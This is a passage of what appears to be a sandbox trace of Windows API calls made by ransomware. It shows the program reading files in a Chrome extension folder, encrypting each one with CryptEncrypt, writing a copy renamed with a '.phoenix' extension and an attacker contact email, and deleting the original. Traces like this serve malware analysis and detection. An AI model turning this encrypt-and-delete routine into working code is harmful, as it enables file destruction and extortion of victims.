	[0263.966] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x100, lpOverlapped=0x0) returned 1
	[0263.967] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0263.967] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.967] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0263.967] CryptDestroyKey (hKey=0x151400) returned 1
	[0263.967] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0263.973] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0263.973] CloseHandle (hObject=0x2c0) returned 1
	[0263.973] CloseHandle (hObject=0x254) returned 1
	[0263.973] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_redirect.js")) returned 1
	[0263.974] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.974] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\chromecast_logo_grey.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.975] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=7151) returned 1
	[0263.975] CloseHandle (hObject=0x254) returned 1
	[0263.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\chromecast_logo_grey.png")) returned 0x20
	[0263.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\chromecast_logo_grey.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\chromecast_logo_grey.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.975] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\chromecast_logo_grey.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.975] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.975] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.975] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\chromecast_logo_grey.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\chromecast_logo_grey.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.976] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0263.976] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.976] ReadFile (in: hFile=0x254, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1bef, lpOverlapped=0x0) returned 1
	[0264.001] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1bf0, dwBufLen=0x1bf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1bf0) returned 1
	[0264.001] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1bf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1bf0, lpOverlapped=0x0) returned 1
	[0264.002] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0264.002] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.002] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60, dwBufLen=0x60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60) returned 1
	[0264.002] CryptDestroyKey (hKey=0x151040) returned 1
	[0264.002] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x112, lpOverlapped=0x0) returned 1
	[0264.002] CryptDestroyKey (hKey=0x151200) returned 1
	[0264.002] CloseHandle (hObject=0x254) returned 1
	[0264.002] CloseHandle (hObject=0x2c0) returned 1
	[0264.002] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\chromecast_logo_grey.png")) returned 1
	[0264.004] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.004] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\offers.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\offers.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0264.005] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=59) returned 1
	[0264.005] CloseHandle (hObject=0x2c0) returned 1
	[0264.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\offers.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\offers.html")) returned 0x20
	[0264.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\offers.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\offers.html.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.005] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\offers.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\offers.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0264.005] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.005] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.005] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\offers.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\offers.html.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.006] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0264.006] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.006] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3b, lpOverlapped=0x0) returned 1
	[0264.008] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.008] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x40, lpOverlapped=0x0) returned 1
	[0264.009] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0264.009] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.009] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.009] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0264.009] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.009] CryptDestroyKey (hKey=0x151640) returned 1
	[0264.009] CloseHandle (hObject=0x2c0) returned 1
	[0264.009] CloseHandle (hObject=0x254) returned 1
	[0264.009] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\offers.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\offers.html")) returned 1
	[0264.010] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.010] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\setup.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\setup.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.010] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=59) returned 1
	[0264.011] CloseHandle (hObject=0x254) returned 1
	[0264.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\setup.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\setup.html")) returned 0x20
	[0264.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\setup.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\setup.html.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.011] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\setup.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\setup.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.011] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.011] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.011] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\setup.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\setup.html.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0264.012] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0264.012] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.012] ReadFile (in: hFile=0x254, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3b, lpOverlapped=0x0) returned 1
	[0264.013] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.013] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x40, lpOverlapped=0x0) returned 1
	[0264.014] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0264.014] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.014] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.014] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0264.014] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.014] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.014] CloseHandle (hObject=0x254) returned 1
	[0264.014] CloseHandle (hObject=0x2c0) returned 1
	[0264.014] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\setup.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\setup.html")) returned 1
	[0264.015] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.015] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0264.022] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=5964) returned 1
	[0264.022] CloseHandle (hObject=0x304) returned 1
	[0264.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.html")) returned 0x20
	[0264.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.html.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.023] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.023] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.023] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.023] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.html.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.053] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0264.053] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.053] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x174c, lpOverlapped=0x0) returned 1
	[0264.083] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1750, dwBufLen=0x1750 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1750) returned 1
	[0264.083] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1750, lpOverlapped=0x0) returned 1
	[0264.084] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0264.084] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.084] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.084] CryptDestroyKey (hKey=0x151780) returned 1
	[0264.084] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.084] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0264.085] CloseHandle (hObject=0x308) returned 1
	[0264.085] CloseHandle (hObject=0x2b0) returned 1
	[0264.085] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cloud_route_details\\view.html")) returned 1
	[0264.086] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
